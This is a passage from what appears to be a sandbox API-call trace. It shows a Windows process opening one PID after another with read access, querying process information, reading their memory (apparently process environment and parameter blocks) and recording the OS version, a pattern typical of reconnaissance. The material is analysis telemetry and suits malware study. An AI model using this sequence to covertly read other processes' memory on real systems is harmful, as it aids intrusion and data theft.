dwProcessId=0x1200) returned 0xa9c [0357.788] GetLastError () returned 0x0 [0357.788] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.788] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.789] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.789] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.789] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.789] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.789] malloc (_Size=0x72) returned 0xea9820 [0357.789] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea9820, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0357.790] free (_Block=0xea9820) [0357.791] CloseHandle (hObject=0xa9c) returned 1 [0357.791] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0357.791] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0357.791] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.791] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.792] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0357.792] GetLastError () returned 0x0 [0357.792] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.793] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.793] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.793] malloc (_Size=0x90) returned 0xec7160 [0357.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7160, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7160*, lpNumberOfBytesRead=0x0) returned 1 [0357.794] free (_Block=0xec7160) [0357.795] CloseHandle (hObject=0xa9c) returned 1 [0357.796] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0357.796] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0357.797] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.797] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0357.799] GetLastError () returned 0x0 [0357.799] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.799] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.800] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.801] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.801] malloc (_Size=0x64) returned 0xeb65b0 [0357.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0357.803] free (_Block=0xeb65b0) [0357.803] CloseHandle (hObject=0xa9c) returned 1 [0357.804] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0357.804] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0357.804] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.804] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.806] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0357.806] GetLastError () returned 0x0 [0357.806] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.806] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.806] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.806] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.806] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.808] malloc (_Size=0x66) returned 0xeb6770 [0357.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb6770, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0357.809] free (_Block=0xeb6770) [0357.809] CloseHandle (hObject=0xa9c) returned 1 [0357.809] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0357.810] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0357.810] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.810] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.811] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0357.811] GetLastError () returned 0x0 [0357.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.812] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.812] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.812] malloc (_Size=0x6e) returned 0xea8aa0 [0357.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea8aa0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0357.813] free (_Block=0xea8aa0) [0357.813] CloseHandle (hObject=0xa9c) returned 1 [0357.813] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0357.814] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0357.814] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.814] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0357.815] GetLastError () returned 0x0 [0357.815] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.815] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.815] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.816] malloc (_Size=0x72) returned 0xea9420 [0357.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea9420, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0357.817] free (_Block=0xea9420) [0357.817] CloseHandle (hObject=0xa9c) returned 1 [0357.817] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0357.817] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0357.817] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.817] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.818] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0357.818] GetLastError () returned 0x0 [0357.818] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.818] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.819] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.819] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.820] malloc (_Size=0x64) returned 0xeb6700 [0357.820] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0357.820] free (_Block=0xeb6700) [0357.820] CloseHandle (hObject=0xa9c) returned 1 [0357.821] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0357.821] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0357.821] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.821] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.822] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0357.822] GetLastError () returned 0x0 [0357.822] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.822] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.822] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.822] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.822] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.823] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.823] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.823] malloc (_Size=0x56) returned 0xea9ed0 [0357.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xea9ed0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9ed0*, lpNumberOfBytesRead=0x0) returned 1 [0357.824] free (_Block=0xea9ed0) [0357.824] CloseHandle (hObject=0xa9c) returned 1 [0357.824] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0357.825] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0357.825] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.825] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.825] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0357.826] 